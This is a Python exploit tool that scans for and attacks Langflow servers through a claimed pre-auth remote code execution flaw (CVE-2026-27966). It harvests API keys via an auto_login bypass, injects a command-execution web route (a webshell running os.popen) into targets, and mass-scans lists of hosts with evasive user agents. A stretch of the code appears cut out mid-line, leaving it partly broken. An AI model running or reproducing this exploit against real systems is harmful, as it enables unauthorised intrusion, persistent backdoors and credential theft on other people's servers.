#!/usr/bin/env python3 """ CVE-2026-27966 — Langflow RCE Scanner + Exploit CVSS 9.8 | Pre-Auth | Route/Vertex Injection → Python Code Execution Advisory: GHSA-3645-fxcv-hqr4 | First public standalone PoC — July 2026 3-stage exploit chain: 1. Route injection via custom_component (targets without API key) 2. Build vertex injection → flow execution (no-auth build + run) 3. CSV Agent prompt injection (existing flows with CSVAgent) """ import requests, re, sys, os, time, random, hashlib, argparse, threading from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime from dataclasses import dataclass from typing import Optional import urllib3 urllib3.disable_warnings() import warnings warnings.filterwarnings("ignore") TIMEOUT, MAX_THREADS = 8, 30 USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15", ] def rid(n=8): return hashlib.sha256(os.urandom(16)).hexdigest()[:n] def rua(): return random.choice(USER_AGENTS) @dataclass class Result: host: str status: str = "pending" version: Optional[str] = None vulnerable: bool = False api_key: bool = False rce: bool = False output: Optional[str] = None error: Optional[str] = None elapsed: float = 0.0 class Langflow: def __init__(self, verbose=False, exploit=True): self.v = verbose self.exploit = exploit def _get(self, url): try: return requests.get(url, timeout=TIMEOUT, verify=False, headers={"User-Agent": rua()}) except: return None def _post(self, url, data): try: return requests.post(url, json=data, timeout=TIMEOUT, verify=False, headers={"User-Agent": rua(), "Content-Type": "application/json"}) except: return None # ── Detection ────────────────────────────────────────────── def detect(self, host): info = {"langflow": False, "version": None} for proto in ("https://", "http://"): base = f"{proto}{host}" r = self._get(f"{base}/api/v1/version") if r and r.status_code == 200: try: d = r.json() ver = d.get("version") or d.get("data", {}).get("version") pkg = d.get("package", "") if "langflow" in str(d).lower() or "langflow" in pkg.lower(): info["langflow"] = True info["version"] = str(ver) if ver else None return info except: pass # Fallback: check health endpoint r2 = self._get(f"{base}/health") if r2 and r2.status_code == 200 and '"status":"ok"' in r2.text.lower(): r3 = self._get(f"{base}/api/v1/version") if r3 and r3.status_code == 200: try: d = r3.json() info["langflow"] = True info["version"] = str(d.get("version", d.get("main_version", ""))) return info except: pass return info def is_vuln(self, ver): if not ver: return True try: p = [int(x) for x in ver.split(".")] return p[0] < 1 or (p[0] == 1 and len(p) > 1 and p[1] < 8) except: return True def needs_key(self, host): for proto in ("https://", "http://"): base = f"{proto}{host}" r = self._post(f"{base}/api/v1/custom_component", {"name": "test"}) if r is None: continue if r.status_code == 200: return False return "api key" in (r.text or "").lower() return True # ── Auto-login bypass ───────────────────────────────────── def try_auto_login(self, host): """Try auto_login to get an API key. Returns api_key or None.""" for proto in ("https://", "http://"): base = f"{proto}{host}" # Try GET r = self._get(f"{base}/api/v1/auto_login") if r and r.status_code == 200: text = (r.text or "").lower() if "auto_login" in text and ("false" in text or "disabled" in text): return None try: d = r.json() # Check for access token or API key in response for k in ["access_token", "api_key", "token", "refresh_token"]: if k in d and d[k]: return d[k] # If we got a session cookie, try to get API key from user endpoint except: pass # Try POST r = self._post(f"{base}/api/v1/auto_login", {}) if r and r.status_code == 200: try: d = r.json() for k in ["access_token", "api_key"]: if k in d and d[k]: return d[k] except: pass return None # ── Exploit ──────────────────────────────────────────────── def rce_check(self, host): """Try all RCE techniques. Returns (success, output).""" pid = rid(10) route = f"bk_{pid}" code = f"""from fastapi import APIRouter, Query router=APIRouter() @router.get("/{route}") async def cmd(c:str=Query("")):import os;return os.popen(c).read() app.include_router(router,prefix="/api") """ for proto in ("https://", "http://"): base = f"{proto}{host}" # Technique 0: auto_login bypass (get API key → inject) api_key = self.try_auto_login(host) if api_key: # Verify the key actually works r_test = self._post(f"{base}/api/v1/custom_component", {"name": f"bk_{pid}", "code": code, "display_name": "X"}) if not r_test or r_test.status_code != 200: api_key = None # key doesn't work, reset elif self.v: print(f" [+] auto_login works — got valid API key") r2 = self._get(f"{base}/api/{route}?c=id") if r2 and r2.status_code == 200 and "uid=" in r2.text: return True, r2.text.strip()[:200] # Also try with API key in header s = requests.Session() s.headers.update({"x-api-key": api_key, "User-Agent": rua()}) s.verify = False try: r = s.post(f"{base}/api/v1/custom_component", json={"name": f"bk_{pid}", "code": code, "display_name": "X"}, timeout=TIMEOUT) if r.status_code in (200, 201): r2 = s.get(f"{base}/api/{route}?c=id", timeout=TIMEOUT) if r2.status_code == 200 and "uid=" in r2.text: return True, r2.text.strip()[:200] except: pass # Technique 1: Direct route injection (no API key) if not self.needs_key(host): for ep in ["/api/v1/custom_component", "/api/v1/custom_component/update"]: r = self._post(f"{base}{ep}", {"name": f"bk_{pid}", "code": code, "display_name": "X"}) if r and r.status_code in (200, 201): r2 = self._get(f"{base}/api/{route}?c=id") if r2 and r2.status_code == 200 and "uid=" in r2.text: return True, r2.text.strip()[:200] # Technique 2: Build vertex injection → run r = self._get(f"{base}/api/v1/flows/basic_examples/") uuids = [] if r and r.status_code == 200: try: uuids = [i.get("id") for i in (r.json() if isinstance(r.json(), list) else []) if i.get("id")] except: pass for uid in uuids[:2]: r = self._post(f"{base}/api/v1/build/{uid}/vertices", { "id": f"bk_{pid}", "type": "CustomComponent", "data": {"code": code, "display_name": "X"} }) if not r or r.status_code not in (200, 201): continue for ep in ["/api/v1/run", "/api/v1/process", "/api/v1/webhook"]: r = self._post(f"{base}{ep}/{uid}", {"inputs": {"input_value": "x"}}) if r and r.status_code == 200 and " 0: with open(self.out, "w") as f: f.write(f"# CVE-2026-27966 RCE | {datetime.now()}\n\n") for r in self.res: if r.rce: f.write(f"{r.host} v{r.version}\n {r.output}\n\n") print(f" Saved: {self.out}\n") # ── CLI ─────────────────────────────────────────────────────────── def main(): print("\n CVE-2026-27966 — Langflow RCE Scanner" "\n CVSS 9.8 | Pre-Auth | Route Injection → RCE") p = argparse.ArgumentParser(description="CVE-2026-27966 Langflow RCE Scanner", epilog=" %(prog)s -t host:port\n %(prog)s -f targets.txt -o rce.txt\n %(prog)s -f targets.txt --no-exploit -v") p.add_argument("-t", "--target"); p.add_argument("-f", "--file") p.add_argument("-o", "--output", help="Save RCE results") p.add_argument("--threads", type=int, default=MAX_THREADS) p.add_argument("--no-exploit", action="store_true", help="Detect only, skip RCE attempt") p.add_argument("-v", "--verbose", action="store_true", help="Show all results") a = p.parse_args() targets = [] if a.target: targets.append(a.target) if a.file: if not os.path.isfile(a.file): print(f"[!] {a.file}"); sys.exit(1) with open(a.file) as f: targets.extend(l.strip() for l in f if l.strip() and not l.startswith("#")) if not targets: p.print_help(); sys.exit(1) targets = list(dict.fromkeys(targets)) # Single if len(targets) == 1: r = Langflow(verbose=True, exploit=not a.no_exploit).scan(targets[0]) v = "YES" if r.vulnerable else "NO" rce = "YES" if r.rce else "NO" print(f"\n Host : {r.host}\n Langflow : {'YES v'+r.version if r.version else 'NO'}" f"\n Vuln : {v}\n API Key : {'REQUIRED' if r.api_key else 'NOT REQUIRED'}" f"\n RCE : {rce}") if r.output: print(f" Output : {r.output}") if r.error: print(f" Note : {r.error}") print(f" Time : {r.elapsed:.1f}s\n"); return # Mass print(f"\n {len(targets)} target(s) loaded\n") Mass(targets, threads=a.threads, exploit=not a.no_exploit, output=a.output, verbose=a.verbose).run() if __name__ == "__main__": main()